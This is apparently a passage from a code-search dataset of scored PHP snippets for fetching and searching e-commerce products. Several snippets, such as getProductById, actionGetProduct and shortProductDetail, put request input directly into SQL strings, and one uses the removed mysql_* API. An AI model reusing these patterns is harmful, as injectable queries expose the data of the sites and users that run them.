ciniki_foodmarket_checkAccess($ciniki, $args['tnid'], 'ciniki.foodmarket.productSearch');\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n\n $args['search_str'] = preg_replace(\"/ /\", '%', $args['search_str']);\n\n //\n // Load maps\n //\n ciniki_core_loadMethod($ciniki, 'ciniki', 'foodmarket', 'private', 'maps');\n $rc = ciniki_foodmarket_maps($ciniki);\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n $maps = $rc['maps'];\n\n //\n // Get the list of products\n //\n $strsql = \"SELECT products.id, \"\n . \"products.name, \"\n . \"products.permalink, \"\n . \"products.status, \"\n . \"products.status AS status_text, \"\n . \"products.flags, \"\n . \"products.supplier_id, \"\n . \"suppliers.code AS supplier_code \"\n . \"FROM ciniki_foodmarket_products AS products \"\n . \"LEFT JOIN ciniki_foodmarket_suppliers AS suppliers ON (\"\n . \"products.supplier_id = suppliers.id \"\n . \"AND suppliers.tnid = '\" . ciniki_core_dbQuote($ciniki, $args['tnid']) . \"' \"\n . \") \"\n . \"WHERE products.tnid = '\" . ciniki_core_dbQuote($ciniki, $args['tnid']) . \"' \"\n . \"AND (\"\n . \"products.name like '\" . ciniki_core_dbQuote($ciniki, $args['search_str']) . \"%' \"\n . \"OR products.name like '% \" . ciniki_core_dbQuote($ciniki, $args['search_str']) . \"%' \"\n . \") \"\n . \"ORDER BY products.name \"\n . \"\";\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbHashQueryArrayTree');\n $rc = ciniki_core_dbHashQueryArrayTree($ciniki, $strsql, 'ciniki.foodmarket', array(\n array('container'=>'products', 'fname'=>'id', \n 'fields'=>array('id', 'name', 'supplier_code', 'permalink', 'status', 'status_text', 'flags', 'supplier_id'),\n 'maps'=>array('status_text'=>$maps['product']['status']),\n ),\n ));\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n if( isset($rc['products']) ) {\n $products = $rc['products'];\n } else {\n $products = array();\n }\n\n return array('stat'=>'ok', 'products'=>$products);\n}", "title": "" }, { "docid": "c6a651f5ce82caa7525c7407e671adf3", "score": "0.5967086", "text": "public function findProduct(int $productId): ProductEntity\n {\n }", "title": "" }, { "docid": "91b51e20dd858202736c32fc40e808cf", "score": "0.595366", "text": "function products_get(){\n\n $result = $this->product_model->getallproducts();\n\n if($result){\n\n $this->response($result, 200); \n\n } \n\n else{\n\n $this->response(\"No record found\", 404);\n\n }\n }", "title": "" }, { "docid": "bc732a805108cf77cc885404e1ca66aa", "score": "0.5947901", "text": "public function productById(int $id);", "title": "" }, { "docid": "ab1a47b20e45362b865e55ad7bff52d1", "score": "0.59399897", "text": "public function getProductSelection();", "title": "" }, { "docid": "44b3fef79fed3a3f5ac4bcd99e63dce6", "score": "0.59332836", "text": "public function product() {\n if ($this->product_id) {\n return Product::retrieve($this->product_id);\n }\n }", "title": "" }, { "docid": "284534dfb938ae2ba9d29caf3350a328", "score": "0.5918901", "text": "public function find($id){\n return Product::where('id',$id)->first();\n }", "title": "" }, { "docid": "adf5bd7510591f09cf3d5c3272e3677c", "score": "0.5910994", "text": "public function product_by_search() {\n $CI = & get_instance();\n $this->auth->check_admin_auth();\n $CI->load->library('lproduct');\n $product_id = $this->input->post('product_id',TRUE);\n\n $content = $CI->lproduct->product_search_list($product_id);\n $this->template->full_admin_html_view($content);\n }", "title": "" }, { "docid": "4f719de07ff67e2f4edb1a06c0b1ec87", "score": "0.59094167", "text": "public function actionGetProduct(){\n //require 'view/installations/update.php';\n $products=array();\n $costumerprod=Model::create('CostumerProduct');\n $installation_id=$_POST['id'];\n $products=$costumerprod->findFromRelation( \"costumer_products c\",\"c.installation_id=$installation_id\" ,array(\"fields\"=>\"c.*\"));\n echo json_encode($products);\n\n }", "title": "" }, { "docid": "2bd98707fff37388abce1a96da0cc208", "score": "0.59080803", "text": "function get_single() {\n // TODO: Some request and ES response validation\n\n $url = $this->get('ELASTICSEARCH_URL') . $this->get('PARAMS.item_id');\n $ch = curl_init();\n $method = \"GET\";\n\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));\n\n $results = curl_exec($ch);\n curl_close($ch);\n \n $this->set('results', json_decode($results, true));\n $path_to_template = 'api/templates/direct_access_json.php';\n echo $this->render($path_to_template);\n }", "title": "" }, { "docid": "12a546af1678a8443a8371848d03d204", "score": "0.59063137", "text": "public function show_one_product_action()\n {\n $productRp = new ProductRepository;\n\n\n $conn = $productRp->get_connection();\n\n $backgroundColor = $this->getBackgroundColor();\n $cssStyleRule = $this->buildStyleRule();\n\n $id = filter_input(INPUT_GET, 'id', FILTER_SANITIZE_NUMBER_INT);\n $product = $productRp->get_one_product($id);\n\n if (null == $product) {\n $message = 'sorry, no product with id = ' . $id . ' could be retrieved from the database';\n\n // output the detail of product in HTML table\n require_once __DIR__ . '/../template/message.php';\n } else {\n $isLoggedInAsAdmin = $this->isAdminUser();\n // output the detail of product in HTML table\n require_once __DIR__ . '/../template/detail.php';\n }\n }", "title": "" }, { "docid": "5592c0625fe80a808831b151445c6efa", "score": "0.5901344", "text": "public function show($product)\n {\n\n return new ProductResource(Product::findOrFail($product)->load(['trader']));\n }", "title": "" }, { "docid": "e26158d3c362f172fea080f36a001040", "score": "0.5890723", "text": "public function getProductId();", "title": "" }, { "docid": "e26158d3c362f172fea080f36a001040", "score": "0.5890723", "text": "public function getProductId();", "title": "" }, { "docid": "779450fba0a13dcb54f2719a228b550c", "score": "0.5882123", "text": "public function singleproductview_get()\n\t{\n\t\t$get = $this->input->get();\n\t\t$single_product = $this->Customerapi_model->getsingle_products($get['item_id']);\n\t\t//echo '<pre>';print_r($single_product);exit;\n\t\tif(count($single_product)>0){\n\t\t\t$message = array\n\t\t\t\t(\n\t\t\t\t\t'status'=>1,\n\t\t\t\t\t'single_product'=>$single_product,\n\t\t\t\t\t'path'=>'http://cartinhour.com/uploads/products/'\n\t\t\t\t);\n\t\t\t\t$this->response($message, REST_Controller::HTTP_OK);\n\t\t\t//$images = header('Content-Type: image/jpg');\n\t\t\t//echo '<pre>';print_r($images);exit;\n\t\t\t//$single_product['path']='http://cartinhour.com/uploads/productsimages/';\n\t\t\t//$this->response($single_product, REST_Controller::HTTP_OK);\t\n\t\t\t\n\t\t}else{\n\t\t\t$message = array('status'=>0,'message'=>'Products not found.');\n\t\t\t$this->response($message, REST_Controller::HTTP_NOT_FOUND);\t\n\t\t}\n\n\t}", "title": "" }, { "docid": "6903e642974385939941a555e15eccf3", "score": "0.5879983", "text": "public function getproductAction()\n {\n $id_pro = $this->route_params['id'];\n $prodetail = productdetail::getproductdetail($id_pro);\n $proalldetail = productdetail::getalldetailproduct($id_pro);\n $proallsize = productdetail::getallsizeproductbycolor($id_pro);\n View::render('client/index.php', ['page' => 'productdetail','productdetail' => $prodetail, 'productalldetail' => $proalldetail, 'proallsizebycolor' => $proallsize]);\n }", "title": "" }, { "docid": "221c423dbef225f2c22f990cf6117778", "score": "0.5874711", "text": "function getProductByURL($product_url) {\n $log = new Logger($product_url);\n $log->pushHandler(new StreamHandler('logs/'.date('m-d-Y', time()).'.log', Logger::INFO));\n\n $client = new Client(HttpClient::create([\n 'timeout' => 60,\n ]));\n\n // Go to the website\n $crawler = $client->request('GET', $product_url);\n\n $product = new stdClass();\n\n $crawler->filter('.product-detail-main .product-image-feature')->each(function ($node) use($product) {\n $imgSrc = $node->attr('src');\n $product->imageURL = substr($imgSrc, 2);\n $product->imageURL = 'http://'.str_replace(\"//\", \"/\", $product->imageURL);\n });\n\n $crawler->filter('#detail-product')->each(function ($node) use($product) {\n $product->title = $node->filter('.product-title h1')->text();\n $product->price = formatMoney($node->filter('#price-preview .pro-price')->text());\n $product->currency = 'VND';\n\n if ($node->filter('#price-preview del')->count()) {\n // The promotion product \n\n $product->price_max = formatMoney($node->filter('#price-preview del')->text());\n $product->discount = ((float)str_replace('%', '', $node->filter('#price-preview .pro-sale')->text())) * -1;\n } else {\n // None of promotion product \n\n $product->price_max = $product->price;\n $product->discount = 0;\n }\n $product->inventory_status = $node->filter('#add-to-cart')->text() == \"Thêm vào giỏ\" ? \"available\" : \"sold out\";\n });\n\n return json_encode($product);\n}", "title": "" }, { "docid": "aa4e0343bc463c5d91da1ddfd654f691", "score": "0.5874337", "text": "public function getProductByName() {\n $input = $this->input->post();\n if ($this->isPostMethod() && !empty($input) && !empty($input['is_ajax']) && ($input['is_ajax'] == 'ajax')) {\n $product = $this->mproduct->getProductByName($input['name']);\n if (!empty($product)) {\n $json_result = array(\n 'result' => 1,\n 'code' => 202,\n 'data' => $product,\n );\n echo json_encode($json_result, JSON_UNESCAPED_UNICODE);\n return;\n } else {\n $json_result = array(\n 'result' => 0,\n 'code' => 404,\n );\n echo json_encode($json_result, JSON_UNESCAPED_UNICODE);\n return;\n }\n }\n }", "title": "" }, { "docid": "7a5df3c0b1c0594859af06f8696ded56", "score": "0.58734006", "text": "public function product(): ?Product;", "title": "" }, { "docid": "9ed2461cc454785ae71724f99ff97aac", "score": "0.587055", "text": "public function getProduct() \n { \n return $this->product;\n }", "title": "" }, { "docid": "a8c32a3a36c8b7880619865fc7022f97", "score": "0.5854267", "text": "public function getSuggestionsByPhone($id,$type,$slug,$nsAvailable=true,$productAvailable=true){\n $items=[\n 'cover'=>'',\n 'nscover'=>'',\n 'product'=>''\n ];\n if(isset($items[$type]))$items[$type]=$slug;\n $covers = $this->getEntityManager()\n ->getRepository('SiteBackendBundle:Cover')\n ->getSuggestionsByPhone($id,$items['cover'])\n ->getQuery()\n ->getSql()\n ;\n $nonstandart = ($nsAvailable)?$this->getEntityManager()\n ->getRepository('SiteBackendBundle:NonStandartCover')\n ->getSuggestionsByPhone($id,$items['nscover'])\n ->getQuery()\n ->getSql()\n :-1\n ;\n $products = ($productAvailable)?$this->getEntityManager()\n ->getRepository('SiteBackendBundle:Product')\n ->getSuggestionsByPhone($id,$items['product'])\n ->getQuery()\n ->getSql()\n :-1\n ;\n $phoneLessProducts = ($productAvailable)?$this->getEntityManager()\n ->getRepository('SiteBackendBundle:Product')\n ->getSuggestionsWithoutPhone($items['product'])\n ->getQuery()\n ->getSql()\n :-1\n ;\n $sql = \"SELECT DISTINCT\n coalesce('cover') AS type, c.slug, c.image AS poster, (pt.suggestion_weight+COALESCE(c.suggestion_weight,0)) AS priority, c.id AS id,\n c.price AS price, c.promo_price AS promoPrice, c.filter_price AS filterPrice, pt.title AS title,'' AS category\n FROM\n cover_table AS c\n LEFT JOIN pattern_table AS pt ON c.pattern_id = pt.id\n LEFT JOIN phone_table AS ph ON c.phone_id = ph.id\n WHERE c.id IN ({$covers})\n union\n SELECT DISTINCT\n coalesce('nscover') AS type, ns.slug AS slug, ns.poster AS poster, ns.suggestion_weight AS priority, ns.id AS id,\n ns.price AS price, ns.promo_price AS promoPrice, ns.filter_price AS filterPrice, ns.title AS title,'' AS category\n FROM\n non_standart_table AS ns\n WHERE ns.id IN ({$nonstandart})\n union\n SELECT DISTINCT\n coalesce('product') AS type, p.slug AS slug, p.poster AS poster, p.suggestion_weight AS priority, p.id AS id,\n p.price AS price, p.promo_price AS promoPrice, p.filter_price AS filterPrice, p.title AS title,ct.slug AS category\n FROM\n product_table AS p\n LEFT JOIN product_category_table AS ct ON p.category_id = ct.id\n WHERE p.id IN ({$products})\n union\n SELECT DISTINCT\n coalesce('phoneless_product') AS type, pr.slug AS slug, pr.poster AS poster, pr.suggestion_weight AS priority, pr.id AS id,\n pr.price AS price, pr.promo_price AS promoPrice, pr.filter_price AS filterPrice, pr.title AS title,ct.slug AS category\n FROM\n product_table AS pr\n LEFT JOIN product_category_table AS ct ON pr.category_id = ct.id\n WHERE pr.id IN ({$phoneLessProducts})\n ORDER BY priority DESC\n \"\n ;\n $conn = $this->getEntityManager()->getConnection()->prepare($sql);\n $conn->execute();\n return $conn->fetchAll(\\PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "08c03ab144a2562ddfe70d978b187c9d", "score": "0.5853372", "text": "public function getProduct(Request $request) {\n if($request->input('action') == 'getProduct') {\n\n \t$result = '';\n\t $rfid_val = $request->input('rfid_val');\n\n\t $products = Product::where('label', 'like', '%'.$rfid_val.'%')->get();\n\t if($products) {\n\t \tforeach ($products as $key => $product) {\n\t \t// if($product->image != '') {\n\t \t// \t$image = $product->image;\n\t \t// } else {\n\t \t\t$image = 'product.png';\n\t \t//} \n\t \tif($product->price != '') {\n\t \t\t$price = $product->price;\n\t \t} else {\n\t \t\t$price = 0;\n\t \t}\n\t\t\t\t$created = date('d-m-Y', strtotime( $product->tms ) );\n\t \t$result .= '<div class=\"product_list_area_value\" id=\"plavid'.$product->rowid.'\">\n\t\t\t\t\t <input name=\"setProductID\" id=\"setProductIDplavid'.$product->rowid.'\" value=\"2\" type=\"hidden\">\n\t\t\t\t\t <input name=\"setProductRFID\" id=\"setProductRFIDplavid'.$product->rowid.'\" value=\"\" type=\"hidden\">\n\t\t\t\t\t <input name=\"sellby_weight_check\" id=\"sellby_weight_checkplavid'.$product->rowid.'\" value=\"1\" type=\"hidden\">\n\t\t\t\t\t <div id=\"product_img\" class=\"product_list_img\">\n\t\t\t\t\t <img src=\"/cashdesk/img/'.$image.'\">\n\t\t\t\t\t </div>\n\t\t\t\t\t <div id=\"product_information\" class=\"product_information_value\">\n\t\t\t\t\t <p id=\"product_information_nameplavid'.$product->rowid.'\">'. $product->label .'</p>\n\t\t\t\t\t <p id=\"product_information_unitplavid'.$product->rowid.'\">'. number_format((float) ( $price ), 2, '.', ',').'</p>\n\t\t\t\t\t <p id=\"product_information_date'.$product->rowid.'\">'.$created.'</p>\n\t\t\t\t\t <img src=\"/cashdesk/img/dolibarr_pos_check.png\" id=\"product_information_value_checkplavid'.$product->rowid.'\" class=\"product_information_value_check\">\n\t\t\t\t\t </div>\n\t\t\t\t\t</div>';\n\t \t}\n\t \treturn $result; \n\t } else {\n\t \t$result = 'No matches found';\n\t \treturn $result;\n\t }\n\t }\n\n\n \t/* ajax call from product mode */\n \tif($request->input('action') == 'get_product_list') {\n \t\t$result = '';\n \t\t$category = '';\n \t\t$last_id = $request->input('last_id');\n \t\t$current = Carbon::now();\n \t\t\n \t\t$products = Product::where('rowid', '>', $last_id)->orderBy('rowid', 'ASC')->limit(30)->get();\n \t\tif($products) {\n \t\t\tforeach ($products as $key => $product) {\n\n \t\t\t$created = date('Y-m-d', strtotime( $product->tms ) );\n \t\t\t$tms = Carbon::parse($product->tms);\n \t\t\t$age = $current->diffInDays($tms); \n \t\t\t// if($product->image != '') {\n\t \t// \t$image = $product->image;\n\t \t// } else {\n\t \t\t$image = 'product.png';\n\t \t//}\n\t \t$product_weight = Inventory::where('productid', $product->rowid)->sum('weight');\n \t\t\t$item = '<li class=\"product-li\" data-id=\"' . $product->rowid . '\" data-category=\"' . $product->productcategory . ',\" data-search=\"' . $product->label . '\">';\n\t $item .= '<div class=\"product-item\">';\n\t $item .= '<img src=\"/cashdesk/img/'.$image.'\" class=\"product-img\">';\n\t $item .= '<div class=\"product-detail-wrapper\">';\n\t $item .= '<div>';\n\t $item .= '<a href=\"/product/card.php?id=' . $product->rowid . '\" target=\"new\">' . $product->label . '</a>';\n\t $item .= '</div>';\n\t $item .= '<div>';\n\t $item .= 'Age : ' . $age . ( $age < 2 ? ' day' : ' days');\n\t $item .= '</div>';\n\t $item .= '<div>';\n\t $item .= 'Price' . ': $ ' . number_format((float) ($product->price), 2, '.', ',');\n\t $item .= '</div>';\n\t $item .= '<div>';\n\t $item .= 'Stock : ' . number_format((float)$product_weight, 2, '.', ',') . 'kg';\n\t $item .= '</div>';\n\t $item .= '</div>';\n\t $item .= '</div>';\n\t $item .= '</li>';\n\t $result .= $item;\n \t\t\t}\n \t\t}\n\n \t\techo $result;\n \t}\n }", "title": "" }, { "docid": "eeb48368d9eaa639cc47754078b9513d", "score": "0.58489853", "text": "public function product_search_by_supplier(){\n\n\t\t$CI =& get_instance();\n\t\t// $this->auth->check_admin_auth();\n\t\t$CI->load->library('lpurchase');\n\t\t$CI->load->model('Suppliers');\n\t\t$supplier_id = $this->input->post('supplier_id');\t\t\t\n $content = $CI->Suppliers->product_search_item($supplier_id);\n\n if (empty($content)) {\n \techo display('product_not_found');\n\t }else{\n\t \t// Select option created for product\n\t echo \"<select name=\\\"product_id[]\\\" class=\\\"productSelection form-control\\\">\";\n\t \techo \"<option value=\\\"0\\\">\".display('select_one').\"</option>\";\n\t \tforeach ($content as $product) {\n\t \t\t\techo \"<option value=\".$product['product_id'].\">\";\n\t \t\t\techo $product['product_name'];\n\t \t\t\t#echo $product['product_name'].\"-(\".$product['product_model'].\")\";\n\t \t\t\techo \"</option>\"; \n\t \t}\t\n\t echo \"</select>\";\n\t }\n\t}", "title": "" }, { "docid": "2dbb8c472f733967f241a46ca560133c", "score": "0.58418065", "text": "public function productAction()\n {\n // Will set the store from param, e.g. ?store=2.\n $this->authenticate();\n\n // Handler for product endpoint. E.g.\n // http://store.com/clerk/api/product/id/24\n $id = $this->getRequest()->getParam('id');\n if (isset($id)) {\n $id = $this->getIntParam('id');\n if (Mage::helper('clerk')->isProductIdValid($id)) {\n $data = Mage::getModel('clerk/product')->load($id)->getInfo();\n } else {\n $data = array('Error' => 'Product not found');\n }\n } else {\n $page = $this->getIntParam('page');\n $limit = $this->getIntParam('limit');\n $page = Mage::getModel('clerk/productpage')->load((int)$page, $limit);\n $data = $page->array;\n $this->getResponse()->setHeader('Total-Page-Count', $page->totalPages);\n }\n\n $this->getResponse()->setBody(json_encode($data));\n }", "title": "" }, { "docid": "d7356fa52b4c766ae23585aa53f406e4", "score": "0.58383", "text": "public function getProduct()\n {\n return $this->hasOne(Product::class, ['id' => 'product_id'])->via('price');\n }", "title": "" }, { "docid": "e752402bda21a3e95dacc1748df20024", "score": "0.58325076", "text": "public function product_by_search() {\r\n $CI = & get_instance();\r\n $this->auth->check_admin_auth();\r\n $CI->load->library('lproduct');\r\n $product_id = $this->input->post('product_id');\r\n\r\n $content = $CI->lproduct->product_search_list($product_id);\r\n $this->template->full_admin_html_view($content);\r\n }", "title": "" }, { "docid": "08212c83d94103dbcdd2b89dcf84a1cd", "score": "0.5825467", "text": "public function findById($id) {\n return Product::where('id', $id)->first();\n }", "title": "" }, { "docid": "6cade5a096516015fad7ca3b0f049120", "score": "0.58154726", "text": "function shortProductDetail($product_id) {\n $query = \"SELECT title,sku,short_description FROM `nfw_product` where id = $product_id \";\n return resultAssociate($query);\n }", "title": "" }, { "docid": "bb7db811302744ab885066fcca8a4c8d", "score": "0.58110625", "text": "function get_products()\t{\n\t\t\n\t\treturn $this->_make_api_call('','products.json');\t\t\n\t}", "title": "" }, { "docid": "3f27b5b74b1908a31ad937678aefa6e9", "score": "0.58092254", "text": "public function getProductById($options = [])\n {\n $settings = \\shopify\\Shopify::getInstance()->getSettings();\n\n $id = $options['id'];\n $fields = isset($options['fields']) ? '?fields=' . $options['fields'] : '';\n\n $url = $this->getShopifyUrl($settings->singleProductEndpoint . $id . '.json' . $fields, $settings);\n\n try {\n $client = new \\GuzzleHttp\\Client();\n $response = $client->request('GET', $url);\n\n if ($response->getStatusCode() !== 200) {\n return false;\n }\n\n $items = json_decode($response->getBody()->getContents(), true);\n\n return $items['product'];\n } catch (\\Exception $e) {\n return false;\n }\n }", "title": "" }, { "docid": "cbe278c3234b1f367b25e5050263c5c3", "score": "0.5803151", "text": "public function getBestSeller();", "title": "" }, { "docid": "dd1d6eea75b51e6e080c8404d9d93a8a", "score": "0.58015615", "text": "function get_product_by_id($product_id) \n {\n global $connection;\n $query = \"SELECT * FROM product WHERE product_id= \\\"{$product_id}\\\" LIMIT 1\";\n $result_set = mysql_query($query, $connection);\n confirm_query($result_set);\n if($product = mysql_fetch_array($result_set)) \n { return $product; } else { return NULL; }\n }", "title": "" }, { "docid": "90b31e0ebd828b1919fc7ccb4772ab3e", "score": "0.57953894", "text": "public function show($slug)\n {\n $product = Product::whereHas('translations', function ($query) use ($slug) {\n $query->where('slug', $slug);\n })->with('images', 'reviews')->whereIsActive(true)->firstOrFail();\n $p_r_id = $product->id;\n $product_reviews = $product->get_reviews();\n if($product->is_combo == 1){\n $combo = $product->id;\n $product_reviews = $product->get_reviews();\n $p_r_id = $product->id;\n $p_id = $product->get_bundle_products($product->id)[0]->slug;\n $product = Product::whereHas('translations', function ($query) use ($p_id) {\n $query->where('slug', $p_id);\n })->with('images', 'reviews')->whereIsActive(true)->firstOrFail();\n }else{\n $combo = 0;\n }\n if($product->is_bundle == 1){\n $bundle = $product->id;\n $product_reviews = $product->get_reviews();\n $p_r_id = $product->id;\n $p_id = $product->get_bundle_products($product->id)[0]->slug;\n $product = Product::whereHas('translations', function ($query) use ($slug) {\n $query->where('slug', $slug);\n })->with('images', 'reviews')->whereIsActive(true)->firstOrFail();\n }else{\n $bundle = 0;\n }\n // return($product->images);\n $attrs = [];\n foreach($product->attributes as $attr){\n if(isset($attr->parentRow->name)){\n $attrs[$attr->parentRow->translate('en')->name][$attr->translate('en')->name]['quantity'][] = $attr->pivot->quantity;\n }\n }\n\n if(auth()->check()){\n $review = $this->isUserAlreadyReviewed($product, auth()->user()->id, $product->id);\n $product->userAlreadyReviewed = $review;\n }\n\n $related_products = $product->related_products;\n # avg rate for this attribute\n\n $visited_ids = session('visited_products', []);\n unset($visited_ids[ array_search($product->id, $visited_ids) ]);\n\n $visited_ids[] = $product->id;\n\n session([\n 'visited_products' => $visited_ids\n ]);\n\n return view('website.products.details')->with(compact('product_reviews','product', 'attrs', 'related_products','combo','bundle','p_r_id'));\n\n }", "title": "" }, { "docid": "8c26a65721b3c6eee7382fa9b9711a30", "score": "0.57882607", "text": "public function shopevt_admin_product_get($product) \n\t{\n\t\t// Send data back\n\t\t$product->module_tabs[] = (object) $this->mod_details;\n\n\n\t\t$this->load->model('shop_discounts/discounts_admin_m','discounts_admin_m');\n\t\t$this->load->library('users/ion_auth');\n $this->load->model('groups/group_m');\n\n \t\t$the_list = (array)$this->group_m->get_all() ;\n\n\t\t$discounts = $this->discounts_admin_m->getByProduct($product);\n\t\t$pyroUserGroups = array_for_select( $the_list ,'id', 'description');\n\n\t\t$product->modules['shop_discounts']=array();\n\t\t$product->modules['shop_discounts']['groups'] = $pyroUserGroups; //select box of pyro user groups\n\t\t$product->modules['shop_discounts']['discounts'] = $discounts; //array of discounts in DB\n\t}", "title": "" }, { "docid": "19d5c01670c42a8fcda0e15ca9bc7519", "score": "0.5783692", "text": "function getProductById($request, $response, $args) {\n $id = $args['id'];\n $sql = \"SELECT * FROM products WHERE id = $id\";\n \n try {\n $db = getConnection();\n $stmt = $db->query($sql);\n $product = $stmt->fetchObject();\n $db = null;\n echo '{\"data\":' . json_encode($product) . '}';\n\n } catch (PDOException $e) {\n echo '{\"error\":' . $e->getMessage() . '}';\n }\n}", "title": "" }, { "docid": "ce89f12c4082b0c285ef27f55103ac71", "score": "0.5775091", "text": "function testSearchProduct()\n {\n // get all products\n $productList = self::$emanager->getRepository(Product::class)->findAddSearch('a', 1);\n\n $this->assertCount(2,$productList);\n $this->assertEquals($productList[0],0);\n $this->assertCount(0,$productList[1]);\n }", "title": "" }, { "docid": "84f9361068744bceac25868b28469ab2", "score": "0.57672614", "text": "public static function producteurReadOne() {\n $producteur_id = $_GET['id'];\n $results = ModelProducteur::getOne($producteur_id);\n\n // ----- Construction chemin de la vue\n include 'config.php';\n $vue = $root . '/app/view/producteur/viewAll.php';\n require ($vue);\n }", "title": "" }, { "docid": "df409767ac3e278320f03934a91b1c11", "score": "0.57635593", "text": "public function show(Product $product)\n {\n //This line will show u one record\n return new ProductResource($product);\n }", "title": "" }, { "docid": "75b5e3a635d96c85df8c4dbb0b28d586", "score": "0.57563406", "text": "public function getProducts()\n {\n try {\n $lang = getLang();\n $token = app('request')->header('token');\n if ($token == null) {\n $token = app('request')->header('Authorization');\n }\n\n if (isset($_GET['id'])) {\n $brandId = trim($_GET['id']);\n // $address = Addresses::where('user_id',$user->id)->first();\n $brand = Brands::where('id', $brandId)->first();\n $AllProducts = Products::where('brand_id', $brandId)->where('active', 1)->orderBy('sorting_no', 'asc')->latest('updated_at')->get();\n $array = array();\n\n foreach ($AllProducts as $key => $product) {\n $product->standard_rate = itemSellingPrice($product->id);\n $stock_qty = getApiProductStocks($product);\n if ($product->standard_rate != 0 && !$stock_qty == 0) {\n if ($lang == 'en') {\n $product->name = $product->name_en;\n $product->brand_name = trim($brand->name_en);\n } else {\n $product->brand_name = trim($brand->name);\n }\n $product = handleMultiImages($product);\n $product->stock_qty = getApiProductStocks($product);\n $array[] = $product;\n }\n }\n $AllProducts = getProductWithVariations($array, $lang);\n if (count($AllProducts)) {\n return Response::json($AllProducts, 200);\n } else {\n return Response::json($array, 200);\n }\n } else if (isset($_GET['slug'])) {\n $brand_slug = $brandId = trim($_GET['slug']);\n $lang = getLang();\n $brand = Brands::where('slug_' . $lang, $brand_slug)->first();\n $AllProducts = Products::where('brand_id', $brand->id)->where('active', 1)->orderBy('sorting_no', 'asc')\n ->latest('updated_at')\n ->get();\n $array = array();\n\n foreach ($AllProducts as $key => $product) {\n $product->standard_rate = itemSellingPrice($product->id);\n $stock_qty = getApiProductStocks($product);\n if ($product->standard_rate != 0 && !$stock_qty == 0) {\n if ($lang == 'en') {\n $product->name = $product->name_en;\n $product->brand_name = trim($brand->name_en);\n } else {\n $product->brand_name = trim($brand->name);\n }\n $product = handleMultiImages($product);\n $product->stock_qty = getApiProductStocks($product);\n $array[] = $product;\n }\n }\n $AllProducts = getProductWithVariations($array, $lang);\n if (count($AllProducts)) {\n return Response::json($AllProducts, 200);\n } else {\n return Response::json($array, 200);\n }\n } else {\n return Response::json(['Status' => 'Erorr', 'message' => 'Bad Request'], 400);\n }\n } catch (\\Exception $e) {\n $error = array($e->getMessage(), $e->getFile(), $e->getLine());\n event(new ErrorEmail($error));\n return $error;\n }\n }", "title": "" }, { "docid": "adfb536e99b0527475b1ad217a69655d", "score": "0.57547724", "text": "public function getProduct($key){\n\t\t$products = Product::with('image')->where('productName', 'like', '%' . $key . '%')->get(['id','slug', 'productName', 'price', 'regularPrice']);\n\n\t\treturn response()->json($products);\n\t}", "title": "" }, { "docid": "9e5efc3743af14263159fdf18d3e18c8", "score": "0.5739941", "text": "public function getWebsiteProducts();", "title": "" }, { "docid": "836cbed69a8b89decfbdbb3e8dd72c3e", "score": "0.5738563", "text": "public function getAscendingPrice(Request $request){\n //first selecting a same path\n $p=[];\n array_push($p,$request['id']);\n $path=$this->path($p);\n //gettigg all product id that was displayed\n $product=Product::where('category_id',$request['id'])->orderBy('min_price','asc')->get();\n $brand=$this->get_brand($p);\n $variant=$this->get_variant($p);\n $request=$p;\n $arr=$product->pluck('id')->toArray();\n $percent=$this->get_discount_percent($arr);\n \n //return view('search_product.show',compact('product','path','brand','variant','offer'));\n return $this->respond([\n 'data'=>$this->Transformer->transformCollection($product->toArray(),$percent),\n 'path'=>$this->Transformer->path_transform($path),\n 'brand'=>$this->Transformer->brand_transform($brand->toArray()),\n 'variant'=>$this->Transformer->varitant_transform($variant),\n //'offer'=>$this->Transformer->offer_transform($offer)\n ]);\n }", "title": "" }, { "docid": "2e193dea6adf32a814df329559461a4a", "score": "0.57380605", "text": "public function show($shopid, $id, $selected=\"\"){ \n try {\n $term = Request::all();\n $limit = 20;\n $keyword = '';\n \n $banner = $user_sites = array();\n $selectedAttr = array();\n if(!empty($selected)){\n if($selected!='banner'){\n parse_str($selected, $output);\n $selectedAttr = $output['qvAttr'];\n }\n else {\n $banner = SiteHeaderImage::where('user_id', Auth::user()->id)->first();\n }\n }\n \n $product_promo = ProductPromotionalBanner::where('_id', $id)->first();\n $prod_bid_data = ProductBiddings::where('product_id',$id)->first();\n\n if(!empty($term['cat_id']) || !empty($term['keyword'])){\n $filtered_cat = array();\n if(array_key_exists('cat_id', $term)){\n $filtered_cat = $term['cat_id'];\n }\n \n if(array_key_exists('keyword', $term)){\n $keyword = $term['keyword'];\n }\n\n $projections = array('cat_ids', 'shopid', 'desc', 'postdate', 'product_data', 'thumb', '_id', 'product_type', 'thumb_path');\n\n if(!empty($filtered_cat) && empty($keyword)){\n $products = Products::where('postdate', '<=', date(\"Y-m-d\"))->whereIn('cat_ids', $filtered_cat)->paginate($limit, $projections);\n }\n elseif (!empty($filtered_cat) && !empty($keyword)) {\n $products = Products::where('postdate', '<=', date(\"Y-m-d\"))->where(\"desc\",\"like\",'%'.$keyword.'%')->whereIn('cat_ids', $filtered_cat)->paginate($limit, $projections);\n } \n elseif (!empty($keyword)) {\n $products = Products::where('postdate', '<=', date(\"Y-m-d\"))->where('desc','like','%'.$keyword.'%')->paginate($limit, $projections);\n }\n else {\n $products= Products::where('postdate', '<=', date(\"Y-m-d\"))->paginate($limit, $projections);\n }\n $all_categories= Products::where('postdate', '<=', date(\"Y-m-d\"))->project(array('cat_ids'))->get();\n $prod_cats = array();\n $prod_cats_count = array();\n foreach ($all_categories as $product) {\n foreach ($product->cat_ids as $cat) {\n $catinfo = Categories::where(\"cat_id\",\"=\",$cat)->where(\"lang\",\"=\",\"en\")->project(array('name'))->first();\n $prod_cats[$cat]= $catinfo->name;\n $prod_cats_count[$cat][]= $cat;\n }\n }\n $products_counts = array(); \n foreach ($prod_cats as $cat_id => $cat_name) {\n $products_counts[$cat_id]= count($prod_cats_count[$cat_id]);\n }\n \n $products_list = array();\n foreach ($prod_cats as $cat_id => $cat_name) {\n $sub_cat_id= explode('-', $cat_id);\n $categories= Categories::where('lang', '=', 'en')->Where('parent', '=', 0)->Where('cat_id', '=', $sub_cat_id[0])->project( array('name') )->first();\n 